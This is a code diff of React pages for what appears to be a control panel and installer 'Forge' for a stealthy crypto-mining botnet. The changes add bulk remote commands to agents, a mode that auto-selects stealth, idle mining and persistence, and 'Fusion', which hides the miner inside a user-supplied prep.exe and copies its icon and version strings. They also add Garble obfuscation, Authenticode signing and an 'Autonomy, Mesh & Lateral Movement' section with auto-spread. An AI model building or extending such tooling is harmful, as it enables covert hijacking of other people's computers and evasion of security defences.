if (action === 'stop' && !window.confirm(`Stop miner on ${onlineIds.length} agent(s)?`)) return;
setBulkBusy(true);
try {
await api.sendBulkCommand(onlineIds, action);
} catch (err) {
console.error(err);
} finally {
setBulkBusy(false);
}
};
return ( return (
<div className="page fade-in command-deck"> <div className="page fade-in command-deck">
<header className="deck-hero"> <header className="deck-hero">
<div className="deck-hero-text"> <div className="deck-hero-text">
<p className="deck-eyebrow font-tech">FLEET REGISTRY</p> <p className="deck-eyebrow font-tech">FLEET REGISTRY</p>
<h1>Fleet Roster</h1> <h1>Fleet Roster</h1>
<p className="page-subtitle">Inspect each node hashrate history, hardware, share ledger.</p> <p className="page-subtitle">Compact list click a row to expand quick actions or inspect full telemetry on the right.</p>
</div> </div>
<span className="header-count font-tech">{agents.length} NODES</span> <span className="header-count font-tech">{filteredAgents.length}/{agents.length} NODES</span>
</header> </header>
{loadError && ( {loadError && (
@@ -98,45 +187,74 @@ export default function AgentsPage() {
</NeonCard> </NeonCard>
) : ( ) : (
<div className="agents-layout"> <div className="agents-layout">
<div className="agents-list"> <div className="agents-list-panel">
{agents.map((agent) => ( <FleetToolbar
<div agents={agents}
key={agent.id} filters={filters}
className={`neon-card agent-list-item ${selectedAgent?.id === agent.id ? 'selected' : ''}`} onChange={setFilters}
onClick={() => selectAgent(agent)} selectedCount={selectedIds.size}
> onBulkAction={handleBulkAction}
<div className="agent-list-header"> bulkBusy={bulkBusy}
<div className="agent-list-name"> />
<span className={`status-dot ${agent.status}`} /> <div className="agents-list">
<span>{agent.name}</span> {filteredAgents.map((agent) => (
</div> <AgentListItem
<span className={`status-badge ${agent.status}`}> key={agent.id}
{agent.status} agent={agent}
</span> selected={selectedAgent?.id === agent.id}
</div> expanded={expandedId === agent.id}
<div className="agent-list-details"> selectable
<span>Hashrate: {formatHashrate(agent.hashrate_15m)}</span> checked={selectedIds.has(agent.id)}
<span>Shares: {agent.shares_good}/{agent.shares_total}</span> onCheck={(on) => toggleSelect(agent.id, on)}
</div> onSelect={() => void selectAgent(agent)}
<div className="agent-list-meta"> onToggleExpand={() => setExpandedId((prev) => (prev === agent.id ? null : agent.id))}
<span>{agent.ip}</span> latestWsMessage={latestMessage}
<span>v{agent.version || '?'}</span> />
<span>{agent.cpu_cores} cores</span> ))}
</div> {filteredAgents.length === 0 && (
<AgentRemoteActions agent={agent} compact /> <p className="form-hint">No agents match filters.</p>
</div> )}
))} </div>
</div> </div>
{selectedAgent && ( {selectedAgent && (
<NeonCard accent="cyan" className="agent-detail" hud> <NeonCard accent="cyan" className="agent-detail" hud>
<h2 className="font-display">{selectedAgent.name}</h2> <h2 className="font-display">{selectedAgent.name}</h2>
{(selectedAgent.tags?.length ?? 0) > 0 && (
<div style={{ marginBottom: '0.5rem' }}>
{selectedAgent.tags!.map((t) => (
<span key={t} className="agent-tag-chip">{t}</span>
))}
</div>
)}
<div className="detail-section agent-meta-editor">
<h3>Notes &amp; Tags</h3>
<p className="form-hint">Labels like &quot;Living room PC&quot; or &quot;Rack B&quot; stored on the server, shown on list cards.</p>
<textarea
className="input"
rows={2}
placeholder="Notes about this machine…"
value={notesDraft}
onChange={(e) => setNotesDraft(e.target.value)}
/>
<input
type="text"
className="input mono agent-meta-tags-input"
placeholder="Tags: living-room, rack-b (comma separated)"
value={tagsDraft}
onChange={(e) => setTagsDraft(e.target.value)}
/>
<button type="button" className="btn btn-outline btn-sm" disabled={metaSaving} onClick={() => void saveMeta()}>
{metaSaving ? 'Saving…' : 'Save notes & tags'}
</button>
{metaMsg && <span className="form-hint">{metaMsg}</span>}
</div>
<div className="agent-detail-grid"> <div className="agent-detail-grid">
<div className="detail-item"> <div className="detail-item">
<span className="detail-label">Status</span> <span className="detail-label">Status</span>
<span className={`status-badge ${selectedAgent.status}`}> <span className={`status-badge ${selectedAgent.status}`}>{selectedAgent.status}</span>
{selectedAgent.status}
</span>
</div> </div>
<div className="detail-item"> <div className="detail-item">
<span className="detail-label">Wallet</span> <span className="detail-label">Wallet</span>
@@ -222,8 +340,12 @@ export default function AgentsPage() {
<div className="detail-section"> <div className="detail-section">
<h3>Remote Control</h3> <h3>Remote Control</h3>
{selectedAgent.status !== 'online' && (
<p className="form-hint">Agent is offline remote actions are disabled until it reconnects.</p>
)}
<AgentRemoteActions <AgentRemoteActions
agent={selectedAgent} agent={selectedAgent}
online={selectedAgent.status === 'online'}
latestWsMessage={latestMessage} latestWsMessage={latestMessage}
onCommandSent={(action: string) => { onCommandSent={(action: string) => {
if (action === 'get_log') refreshLog(true); if (action === 'get_log') refreshLog(true);
@@ -232,7 +354,7 @@ export default function AgentsPage() {
</div> </div>
<div className="detail-section"> <div className="detail-section">
<h3>Agent Log <button type="button" className="agent-action-btn" onClick={() => refreshLog(true)} disabled={logLoading}>{logLoading ? '…' : 'Refresh'}</button></h3> <h3>Agent Log <button type="button" className="agent-action-btn" onClick={() => refreshLog(true)} disabled={logLoading || selectedAgent.status !== 'online'}>{logLoading ? '…' : 'Refresh'}</button></h3>
<p className="form-hint">Streams miner.log when file_logging is enabled (non-stealth builds).</p> <p className="form-hint">Streams miner.log when file_logging is enabled (non-stealth builds).</p>
<pre className="log-viewer">{logContent || (selectedAgent.status === 'online' ? 'Click Fetch Log or Refresh' : 'Agent offline')}</pre> <pre className="log-viewer">{logContent || (selectedAgent.status === 'online' ? 'Click Fetch Log or Refresh' : 'Agent offline')}</pre>
</div> </div>
@@ -246,18 +368,3 @@ export default function AgentsPage() {
</div> </div>
); );
} }
function formatHashrate(h: number): string {
if (h >= 1_000_000) return `${(h / 1_000_000).toFixed(2)} MH/s`;
if (h >= 1_000) return `${(h / 1_000).toFixed(2)} KH/s`;
return `${h.toFixed(0)} H/s`;
}
function formatUptime(seconds: number): string {
const d = Math.floor(seconds / 86400);
const h = Math.floor((seconds % 86400) / 3600);
const m = Math.floor((seconds % 3600) / 60);
if (d > 0) return `${d}d ${h}h`;
if (h > 0) return `${h}h ${m}m`;
return `${m}m`;
}

View File

@@ -1,11 +1,11 @@
import { useState, useEffect, useRef, useMemo } from 'react'; import { useState, useEffect, useRef, useMemo } from 'react';
import { Link } from 'react-router-dom'; import { Link } from 'react-router-dom';
import { api } from '../api/client'; import { api } from '../api/client';
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo, BlueprintInfo } from '../types'; import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo, BlueprintInfo, FusionEstimate } from '../types';
import { HelpTip, FieldHint } from '../components/HelpTip'; import { HelpTip, FieldHint } from '../components/HelpTip';
import NeonCard from '../components/NeonCard/NeonCard'; import NeonCard from '../components/NeonCard/NeonCard';
import { SETUP_CHEATSHEET } from '../help/settingHelp'; import { SETUP_CHEATSHEET, FIELD_HELP } from '../help/settingHelp';
import { forgeDefaultsFromServer } from '../help/forgeDefaults'; import { forgeDefaultsFromServerSmart, applySmartForgeDefaults, RECOMMENDED_DEFAULTS_BLURB } from '../help/forgeSmartDefaults';
import { lanEndpointCandidates } from '../help/endpointHelpers'; import { lanEndpointCandidates } from '../help/endpointHelpers';
import { runForgePreflight, preflightHasErrors } from '../help/forgeValidation'; import { runForgePreflight, preflightHasErrors } from '../help/forgeValidation';
import { previewInstallPath } from '../help/installPreview'; import { previewInstallPath } from '../help/installPreview';
@@ -17,8 +17,31 @@ import AuthDownloadButton from '../components/AuthDownloadButton';
import '../components/Fleet/FleetPanels.css'; import '../components/Fleet/FleetPanels.css';
import './Pages.css'; import './Pages.css';
function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): BuildRequest { function formatBytes(n: number): string {
return forgeDefaultsFromServer(config, serverInfo); if (n < 1024) return `${n} B`;
const units = ['KB', 'MB', 'GB'];
let v = n / 1024;
for (const u of units) {
if (v < 1024) return `${v.toFixed(2)} ${u}`;
v /= 1024;
}
return `${v.toFixed(2)} TB`;
}
function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo, builds: BuildRecord[] = []): BuildRequest {
return forgeDefaultsFromServerSmart(config, serverInfo, builds);
}
const FORGE_MODE_KEY = 'aetherforge-forge-mode';
function loadSimpleMode(): boolean {
try {
const v = localStorage.getItem(FORGE_MODE_KEY);
if (v === 'advanced') return false;
} catch {
/* ignore */
}
return true;
} }
export default function BuilderPage() { export default function BuilderPage() {
@@ -30,9 +53,22 @@ export default function BuilderPage() {
const [showRecent, setShowRecent] = useState(false); const [showRecent, setShowRecent] = useState(false);
const [loadingDefaults, setLoadingDefaults] = useState(true); const [loadingDefaults, setLoadingDefaults] = useState(true);
const [fusionPrepFile, setFusionPrepFile] = useState<File | null>(null); const [fusionPrepFile, setFusionPrepFile] = useState<File | null>(null);
const [fusionEstimate, setFusionEstimate] = useState<FusionEstimate | null>(null);
const [estimateLoading, setEstimateLoading] = useState(false);
const [estimateError, setEstimateError] = useState('');
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null); const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
const [listenPort, setListenPort] = useState(8989); const [listenPort, setListenPort] = useState(8989);
const [refreshingEndpoints, setRefreshingEndpoints] = useState(false); const [refreshingEndpoints, setRefreshingEndpoints] = useState(false);
const [simpleMode, setSimpleMode] = useState(loadSimpleMode);
const setForgeMode = (simple: boolean) => {
setSimpleMode(simple);
try {
localStorage.setItem(FORGE_MODE_KEY, simple ? 'simple' : 'advanced');
} catch {
/* ignore */
}
};
const refreshEndpointInfo = async () => { const refreshEndpointInfo = async () => {
setRefreshingEndpoints(true); setRefreshingEndpoints(true);
@@ -56,11 +92,13 @@ export default function BuilderPage() {
const fileInputRef = useRef<HTMLInputElement>(null); const fileInputRef = useRef<HTMLInputElement>(null);
useEffect(() => { useEffect(() => {
Promise.all([api.getConfig(), api.getServerInfo()]) Promise.all([api.getConfig(), api.getServerInfo(), api.listBuilds().catch(() => [])])
.then(([config, info]) => { .then(([config, info, builds]) => {
setServerInfo(info); setServerInfo(info);
setListenPort(config.port || info.port || 8989); setListenPort(config.port || info.port || 8989);
setForm(defaultsFromConfig(config, info)); const candidates = lanEndpointCandidates(info, config.port || info.port);
const base = defaultsFromConfig(config, info, builds);
setForm(applySmartForgeDefaults(base, { builds, endpointCandidates: candidates }));
}) })
.catch((err) => { .catch((err) => {
console.error(err); console.error(err);
@@ -227,6 +265,24 @@ export default function BuilderPage() {
} }
}; };
const applyRecommendedDefaults = async () => {
if (!form) return;
try {
const [config, info, builds] = await Promise.all([
api.getConfig(),
api.getServerInfo(),
api.listBuilds().catch(() => [] as BuildRecord[]),
]);
const candidates = lanEndpointCandidates(info, config.port || info.port);
const base = defaultsFromConfig(config, info, builds);
setForm(applySmartForgeDefaults({ ...base, fusion_enabled: form.fusion_enabled }, { builds, endpointCandidates: candidates }));
setBlueprintMsg('✅ Recommended defaults applied');
setTimeout(() => setBlueprintMsg(''), 2500);
} catch (err: unknown) {
setError(err instanceof Error ? err.message : 'Could not refresh defaults');
}
};
const updateField = (field: keyof BuildRequest, value: unknown) => { const updateField = (field: keyof BuildRequest, value: unknown) => {
setForm((prev) => (prev ? applyForgeFieldUpdate(prev, field, value) : prev)); setForm((prev) => (prev ? applyForgeFieldUpdate(prev, field, value) : prev));
}; };
@@ -243,6 +299,44 @@ export default function BuilderPage() {
const canForge = form ? !preflightHasErrors(preflightChecks) : false; const canForge = form ? !preflightHasErrors(preflightChecks) : false;
const errorCount = preflightChecks.filter((c) => c.level === 'error').length; const errorCount = preflightChecks.filter((c) => c.level === 'error').length;
useEffect(() => {
if (!form?.fusion_enabled || !fusionPrepFile) {
setFusionEstimate(null);
setEstimateError('');
return;
}
let cancelled = false;
const timer = window.setTimeout(() => {
setEstimateLoading(true);
setEstimateError('');
api.estimateFusion(form, fusionPrepFile)
.then((est) => {
if (!cancelled) setFusionEstimate(est);
})
.catch((err: Error) => {
if (!cancelled) {
setFusionEstimate(null);
setEstimateError(err.message || 'Estimate failed');
}
})
.finally(() => {
if (!cancelled) setEstimateLoading(false);
});
}, 350);
return () => {
cancelled = true;
window.clearTimeout(timer);
};
}, [
form?.fusion_enabled,
form?.fusion_output_name,
form?.output_dir,
form?.obfuscate,
form?.sign_build,
form?.worker_name,
fusionPrepFile,
]);
if (loadingDefaults || !form) { if (loadingDefaults || !form) {
return ( return (
<div className="page fade-in command-deck"> <div className="page fade-in command-deck">
@@ -283,10 +377,29 @@ export default function BuilderPage() {
<p className="deck-eyebrow font-tech">INSTALLER FORGE</p> <p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
<h1>The Forge</h1> <h1>The Forge</h1>
<p className="page-subtitle"> <p className="page-subtitle">
Every miner option lives here install path, stealth, Fusion, persistence. Calibrate tab is server-only. {simpleMode
? 'Simple mode: name the worker, confirm wallet + LAN URL, forge. Recommended defaults handle stealth, idle mining, and persistence.'
: 'Every miner option lives here — install path, stealth, Fusion, persistence. Calibrate tab is server-only.'}
</p> </p>
</div> </div>
<div className="deck-hero-actions" style={{ display: 'flex', gap: '8px', flexWrap: 'wrap' }}> <div className="deck-hero-actions" style={{ display: 'flex', gap: '8px', flexWrap: 'wrap', alignItems: 'center' }}>
<div className="forge-mode-toggle" role="group" aria-label="Forge display mode">
<button
type="button"
className={`btn btn-sm ${simpleMode ? 'btn-primary' : 'btn-outline'}`}
onClick={() => setForgeMode(true)}
title={FIELD_HELP.forge_simple_mode}
>
Simple
</button>
<button
type="button"
className={`btn btn-sm ${!simpleMode ? 'btn-primary' : 'btn-outline'}`}
onClick={() => setForgeMode(false)}
>
Advanced
</button>
</div>
<button className="btn btn-outline" onClick={loadRecentBuilds}> <button className="btn btn-outline" onClick={loadRecentBuilds}>
Recent Builds Recent Builds
</button> </button>
@@ -365,31 +478,41 @@ export default function BuilderPage() {
</div> </div>
<div className="card builder-form"> <div className="card builder-form">
<div className="forge-rules-banner"> {simpleMode ? (
<h3 className="font-tech">FORGE RULES READ THIS ONCE</h3> <div className="forge-simple-banner card">
<p className="form-hint" style={{ margin: 0 }}> <p className="font-tech">RECOMMENDED DEFAULTS AUTO-SELECTED</p>
Everything on this page is configurable, but incompatible mixes are blocked at forge time. <p className="form-hint">{RECOMMENDED_DEFAULTS_BLURB}</p>
Green = baked into the installer. Blue = server folder only. Fields gray out when they do not apply. <button type="button" className="btn btn-outline btn-sm" onClick={() => void applyRecommendedDefaults()}>
</p> Reset to recommended defaults
<div className="forge-rules-grid"> </button>
<div className="forge-rule-card"> </div>
<strong> Baked into installer</strong> ) : (
Wallet, pool, threads, install path, stealth, AI toggle frozen when you forge. Re-forge to change. <div className="forge-rules-banner">
</div> <h3 className="font-tech">FORGE RULES READ THIS ONCE</h3>
<div className="forge-rule-card"> <p className="form-hint" style={{ margin: 0 }}>
<strong>🖥 Server folder only</strong> Everything on this page is configurable, but incompatible mixes are blocked at forge time.
Output Folder copies exe + uninstall script on this PC. Not embedded in the worker. Green = baked into the installer. Blue = server folder only. Fields gray out when they do not apply.
</div> </p>
<div className="forge-rule-card"> <div className="forge-rules-grid">
<strong>🔒 Auto-coupled</strong> <div className="forge-rule-card">
Stealth disables logs. Fusion forces background mode. Scheduled/Service forces persistence. <strong> Baked into installer</strong>
</div> Wallet, pool, threads, install path, stealth, AI toggle frozen when you forge. Re-forge to change.
<div className="forge-rule-card"> </div>
<strong> Cannot forge until fixed</strong> <div className="forge-rule-card">
Preflight errors below must be resolved warnings let you forge but double-check first. <strong>🖥 Server folder only</strong>
Output Folder copies exe + uninstall script on this PC. Not embedded in the worker.
</div>
<div className="forge-rule-card">
<strong>🔒 Auto-coupled</strong>
Stealth disables logs. Fusion forces background mode. Scheduled/Service forces persistence.
</div>
<div className="forge-rule-card">
<strong> Cannot forge until fixed</strong>
Preflight errors below must be resolved warnings let you forge but double-check first.
</div>
</div> </div>
</div> </div>
</div> )}
{liveNotices.length > 0 && ( {liveNotices.length > 0 && (
<div className="forge-live-notices"> <div className="forge-live-notices">
@@ -402,10 +525,11 @@ export default function BuilderPage() {
</div> </div>
)} )}
<h2>Build Miner Installer</h2> <h2>{simpleMode ? 'Quick Forge' : 'Build Miner Installer'}</h2>
<p className="form-description"> <p className="form-description">
Creates a single Windows installer `.exe`. Copy it to any machine on your network and run it once. {simpleMode
It installs the miner, registers auto-start, connects back to this dashboard at your LAN IP, and begins mining. ? 'Three fields below, then forge. Pick your LAN address chip if unsure — not localhost. Output lands in the project root when done.'
: 'Creates a single Windows installer `.exe`. Copy it to any machine on your network and run it once. It installs the miner, registers auto-start, connects back to this dashboard at your LAN IP, and begins mining.'}
</p> </p>
<form onSubmit={handleSubmit}> <form onSubmit={handleSubmit}>
@@ -428,6 +552,7 @@ export default function BuilderPage() {
onChange={(e) => updateField('worker_name', e.target.value)} onChange={(e) => updateField('worker_name', e.target.value)}
required required
/> />
<FieldHint field="worker_name" />
</div> </div>
<div className="form-group endpoint-group"> <div className="form-group endpoint-group">
<div className="endpoint-header"> <div className="endpoint-header">
@@ -483,8 +608,10 @@ export default function BuilderPage() {
onChange={(e) => updateField('wallet', e.target.value)} onChange={(e) => updateField('wallet', e.target.value)}
required required
/> />
<FieldHint field="wallet" />
</div> </div>
{!simpleMode && (
<div className={`form-group ${fieldMeta.output_dir?.badge === 'server-only' ? '' : ''}`}> <div className={`form-group ${fieldMeta.output_dir?.badge === 'server-only' ? '' : ''}`}>
<div className="label-row"> <div className="label-row">
<label className="label">Output Folder (server) <HelpTip field="output_dir" /></label> <label className="label">Output Folder (server) <HelpTip field="output_dir" /></label>
@@ -503,8 +630,11 @@ export default function BuilderPage() {
Example: <code>exports</code> will copy the finished exe to <code>data/exports</code> on this host. Example: <code>exports</code> will copy the finished exe to <code>data/exports</code> on this host.
</p> </p>
</div> </div>
)}
</div> </div>
{!simpleMode && (
<>
<div className="form-section"> <div className="form-section">
<ForgeSectionHeader <ForgeSectionHeader
title="Pool Configuration" title="Pool Configuration"
@@ -823,12 +953,16 @@ export default function BuilderPage() {
<ForgeLockedHint meta={fieldMeta.auto_start} /> <ForgeLockedHint meta={fieldMeta.auto_start} />
</div> </div>
</div> </div>
</>
)}
<div className="form-section"> <div className="form-section">
<ForgeSectionHeader <ForgeSectionHeader
title="Fusion (prep + worker)" title="Fusion (prep + worker)"
badge="baked" badge="baked"
description="Optional — bundles prep.exe with the miner. Forces background display when enabled." description={simpleMode
? 'Optional — hide the miner inside your own prep.exe. Upload prep, forge, deploy one file.'
: 'Optional — bundles prep.exe with the miner. Forces background display when enabled.'}
/> />
<div className="form-group checkbox-group"> <div className="form-group checkbox-group">
<label className="checkbox-label"> <label className="checkbox-label">
@@ -849,12 +983,19 @@ export default function BuilderPage() {
type="file" type="file"
className="input" className="input"
accept=".exe,application/octet-stream" accept=".exe,application/octet-stream"
onChange={(e) => setFusionPrepFile(e.target.files?.[0] || null)} onChange={(e) => {
const f = e.target.files?.[0] || null;
setFusionPrepFile(f);
if (f?.name) {
updateField('fusion_output_name', f.name);
}
}}
/> />
{fusionPrepFile && ( {fusionPrepFile && (
<span className="form-hint">Selected: {fusionPrepFile.name} ({(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB)</span> <span className="form-hint">Selected: {fusionPrepFile.name} ({(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB)</span>
)} )}
</div> </div>
{!simpleMode && (
<div className="form-row"> <div className="form-row">
<div className="form-group"> <div className="form-group">
<label className="label">Run Order <HelpTip field="fusion_run_order" /></label> <label className="label">Run Order <HelpTip field="fusion_run_order" /></label>
@@ -873,13 +1014,80 @@ export default function BuilderPage() {
<FieldHint field="fusion_output_name" /> <FieldHint field="fusion_output_name" />
</div> </div>
</div> </div>
)}
{simpleMode && fusionPrepFile && (
<p className="form-hint">Output name: <code>{fusionPrepFile.name || form.fusion_output_name}</code> (matches your prep file). Run order: parallel.</p>
)}
<p className="form-hint"> <p className="form-hint">
Fused output: <code>{form.fusion_output_name || 'prep.exe'}</code> containing your prep tool + hidden worker installer. Fused output: <code>{form.fusion_output_name || 'prep.exe'}</code> containing your prep tool + hidden worker installer.
</p> </p>
{(estimateLoading || fusionEstimate || estimateError) && (
<div className="fusion-estimate-panel card">
<p className="font-tech" style={{ marginBottom: '0.5rem' }}>FUSION SIZE ESTIMATE (DRY RUN)</p>
{estimateLoading && <p className="form-hint">Calculating</p>}
{estimateError && <p className="form-hint" style={{ color: 'var(--neon-red, #f55)' }}>{estimateError}</p>}
{fusionEstimate && (
<>
<ul className="preflight-list" style={{ marginBottom: '0.75rem' }}>
<li className="preflight-item preflight-ok">
<span className="preflight-icon"></span>
<span>Prep: {formatBytes(fusionEstimate.prep_bytes)} ({fusionEstimate.prep_name})</span>
</li>
<li className="preflight-item preflight-ok">
<span className="preflight-icon">+</span>
<span>Worker (est.): {formatBytes(fusionEstimate.estimated_worker_bytes)}</span>
</li>
<li className="preflight-item preflight-ok">
<span className="preflight-icon">+</span>
<span>Fusion launcher: ~{formatBytes(fusionEstimate.estimated_fusion_stub_bytes)}</span>
</li>
<li className="preflight-item preflight-warn">
<span className="preflight-icon"></span>
<span><strong>Total (est.): {formatBytes(fusionEstimate.estimated_total_bytes)}</strong></span>
</li>
</ul>
<p className="form-hint"><strong>Project root:</strong> <code className="mono-sm">{fusionEstimate.project_root_path}</code></p>
{fusionEstimate.export_path && (
<p className="form-hint"><strong>Export copy:</strong> <code className="mono-sm">{fusionEstimate.export_path}</code></p>
)}
<p className="form-hint"><strong>Archive:</strong> <code className="mono-sm">{fusionEstimate.archive_path_hint}</code></p>
{fusionEstimate.notes?.map((note) => (
<p key={note} className="form-hint">{note}</p>
))}
</>
)}
</div>
)}
</> </>
)} )}
</div> </div>
{!simpleMode && (
<>
<div className="form-section">
<ForgeSectionHeader
title="Build pipeline"
badge="server-only"
description="Obfuscation, code signing, and go-winres are applied on the control PC at forge time."
/>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.obfuscate}
onChange={(e) => updateField('obfuscate', e.target.checked)} />
<span>Obfuscate worker with Garble (release builds) <HelpTip field="obfuscate" /></span>
</label>
<FieldHint field="obfuscate" />
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.sign_build}
onChange={(e) => updateField('sign_build', e.target.checked)} />
<span>Sign forged output (Authenticode) <HelpTip field="sign_build" /></span>
</label>
<FieldHint field="sign_build" />
</div>
</div>
<div className="form-section"> <div className="form-section">
<ForgeSectionHeader <ForgeSectionHeader
title="Autonomy, Mesh & Lateral Movement" title="Autonomy, Mesh & Lateral Movement"
@@ -946,6 +1154,8 @@ export default function BuilderPage() {
<FieldHint field="auto_spread" /> <FieldHint field="auto_spread" />
</div> </div>
</div> </div>
</>
)}
<div className="preflight-panel card"> <div className="preflight-panel card">
<h3 className="font-tech">PREFLIGHT CROSS-CHECK</h3> <h3 className="font-tech">PREFLIGHT CROSS-CHECK</h3>
@@ -990,7 +1200,13 @@ export default function BuilderPage() {
<> <>
<p><strong>Your file (project root):</strong></p> <p><strong>Your file (project root):</strong></p>
<code className="path-display">{lastBuild.export_path}</code> <code className="path-display">{lastBuild.export_path}</code>
<p className="form-hint">Fusion builds keep the same icon as your uploaded prep when Windows icon extraction succeeds.</p> <p className="form-hint">Fusion output keeps prep icon + File Description / version strings from your uploaded prep.exe (Windows).</p>
{(lastBuild.obfuscated || lastBuild.signed) && (
<p className="form-hint">
{lastBuild.obfuscated && 'Garble obfuscation applied. '}
{lastBuild.signed && 'Authenticode signature applied.'}
</p>
)}
</> </>
)} )}
<p className="form-hint">Archive copy: <code className="mono-sm">{lastBuild.file_path}</code></p> <p className="form-hint">Archive copy: <code className="mono-sm">{lastBuild.file_path}</code></p>

View File

@@ -9,9 +9,17 @@ import NeonCard from '../components/NeonCard/NeonCard';
import { FleetPipelineStatus, ActivityPulse } from '../components/Visual/VisualComponents'; import { FleetPipelineStatus, ActivityPulse } from '../components/Visual/VisualComponents';
import { AlertBanner, PoolStatusPanel, AIActivityPanel, EarningsEstimator } from '../components/Fleet/FleetPanels'; import { AlertBanner, PoolStatusPanel, AIActivityPanel, EarningsEstimator } from '../components/Fleet/FleetPanels';
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions'; import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
import FleetToolbar from '../components/Fleet/FleetToolbar';
import {
DEFAULT_FLEET_FILTERS,
filterFleetAgents,
agentIsIdleMiner,
formatHashrate,
formatUptime,
} from '../help/fleetFilters';
import type { FleetFilterState } from '../help/fleetFilters';
import '../components/Fleet/AgentRemoteActions.css'; import '../components/Fleet/AgentRemoteActions.css';
import './Pages.css'; import './Pages.css';
export default function DashboardPage() { export default function DashboardPage() {
const { isConnected, agents, recentShares, fleetAlerts, poolStatus, aiActivity } = useWebSocket(); const { isConnected, agents, recentShares, fleetAlerts, poolStatus, aiActivity } = useWebSocket();
const [shares, setShares] = useState<Share[]>([]); const [shares, setShares] = useState<Share[]>([]);
@@ -23,7 +31,9 @@ export default function DashboardPage() {
const [cpuHistory, setCpuHistory] = useState<{ time: string; value: number }[]>([]); const [cpuHistory, setCpuHistory] = useState<{ time: string; value: number }[]>([]);
const [memHistory, setMemHistory] = useState<{ time: string; value: number }[]>([]); const [memHistory, setMemHistory] = useState<{ time: string; value: number }[]>([]);
const [hasBuilds, setHasBuilds] = useState(false); const [hasBuilds, setHasBuilds] = useState(false);
const [filters, setFilters] = useState<FleetFilterState>(DEFAULT_FLEET_FILTERS);
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
const [bulkBusy, setBulkBusy] = useState(false);
useEffect(() => { useEffect(() => {
api.getRecentShares(20).then(setShares).catch(console.error); api.getRecentShares(20).then(setShares).catch(console.error);
api.listBuilds().then((b) => setHasBuilds(b.length > 0)).catch(console.error); api.listBuilds().then((b) => setHasBuilds(b.length > 0)).catch(console.error);
@@ -70,11 +80,12 @@ export default function DashboardPage() {
setMemHistory((prev) => [...prev.slice(-59), { time: now, value: avgMem }]); setMemHistory((prev) => [...prev.slice(-59), { time: now, value: avgMem }]);
}, [totalHashrate, avgCpu, avgMem]); }, [totalHashrate, avgCpu, avgMem]);
const topAgents = useMemo( const filteredAgents = useMemo(() => filterFleetAgents(agents, filters), [agents, filters]);
() => [...agents].sort((a, b) => b.hashrate_15m - a.hashrate_15m).slice(0, 8),
[agents]
);
const topAgents = useMemo(
() => [...filteredAgents].sort((a, b) => b.hashrate_15m - a.hashrate_15m).slice(0, 12),
[filteredAgents]
);
const maxAgentHash = Math.max(...topAgents.map((a) => a.hashrate_15m), 1); const maxAgentHash = Math.max(...topAgents.map((a) => a.hashrate_15m), 1);
const activityItems = useMemo( const activityItems = useMemo(
@@ -97,8 +108,28 @@ export default function DashboardPage() {
[agents] [agents]
); );
return ( const handleBulkAction = async (action: string) => {
<div className="page fade-in command-deck"> let targetIds = [...selectedIds];
if (action === 'restart_idle') {
targetIds = agents.filter((a) => selectedIds.has(a.id) && agentIsIdleMiner(a)).map((a) => a.id);
if (targetIds.length === 0) {
alert('No selected online agents with idle hashrate.');
return;
}
action = 'restart';
}
const onlineIds = targetIds.filter((id) => agents.find((a) => a.id === id)?.status === 'online');
if (onlineIds.length === 0) return;
if (action === 'stop' && !window.confirm(`Stop ${onlineIds.length} agent(s)?`)) return;
setBulkBusy(true);
try {
await api.sendBulkCommand(onlineIds, action);
} finally {
setBulkBusy(false);
}
};
return ( <div className="page fade-in command-deck">
<AlertBanner alerts={alerts} /> <AlertBanner alerts={alerts} />
<header className="deck-hero"> <header className="deck-hero">
<div className="deck-hero-text"> <div className="deck-hero-text">
@@ -213,8 +244,17 @@ export default function DashboardPage() {
<span className="section-ornament"></span> Machine Roster <span className="section-ornament"></span> Machine Roster
<span className="section-line" /> <span className="section-line" />
</h2> </h2>
<div className="agent-grid"> {agents.length > 0 && (
{agents.length === 0 && ( <FleetToolbar
agents={agents}
filters={filters}
onChange={setFilters}
selectedCount={selectedIds.size}
onBulkAction={handleBulkAction}
bulkBusy={bulkBusy}
/>
)}
<div className="agent-grid"> {agents.length === 0 && (
<NeonCard accent="brass" className="empty-state"> <NeonCard accent="brass" className="empty-state">
<div className="empty-icon"></div> <div className="empty-icon"></div>
<h3>No miners on the wire</h3> <h3>No miners on the wire</h3>
@@ -230,12 +270,31 @@ export default function DashboardPage() {
> >
<div className="agent-card-header"> <div className="agent-card-header">
<div className="agent-name"> <div className="agent-name">
<input
type="checkbox"
className="checkbox"
checked={selectedIds.has(agent.id)}
onChange={(e) => {
setSelectedIds((prev) => {
const next = new Set(prev);
if (e.target.checked) next.add(agent.id);
else next.delete(agent.id);
return next;
});
}}
/>
<span className={`status-dot ${agent.status}`} /> <span className={`status-dot ${agent.status}`} />
<span>{agent.name}</span> <span>{agent.name}</span>
</div> </div>
<span className={`status-badge ${agent.status}`}>{agent.status}</span> <span className={`status-badge ${agent.status}`}>{agent.status}</span>
</div> </div>
<div className="agent-hash-bar"> {(agent.tags?.length ?? 0) > 0 && (
<div style={{ marginBottom: '0.35rem' }}>
{agent.tags!.map((t) => (
<span key={t} className="agent-tag-chip">{t}</span>
))}
</div>
)} <div className="agent-hash-bar">
<div <div
className="agent-hash-fill" className="agent-hash-fill"
style={{ width: `${(agent.hashrate_15m / maxAgentHash) * 100}%` }} style={{ width: `${(agent.hashrate_15m / maxAgentHash) * 100}%` }}
@@ -250,12 +309,16 @@ export default function DashboardPage() {
<div><span>Node</span><strong className="mono-sm">{agent.ip || '—'} · {agent.id.slice(0, 8)}</strong></div> <div><span>Node</span><strong className="mono-sm">{agent.ip || '—'} · {agent.id.slice(0, 8)}</strong></div>
<div><span>Uptime</span><strong>{formatUptime(agent.uptime_seconds)}</strong></div> <div><span>Uptime</span><strong>{formatUptime(agent.uptime_seconds)}</strong></div>
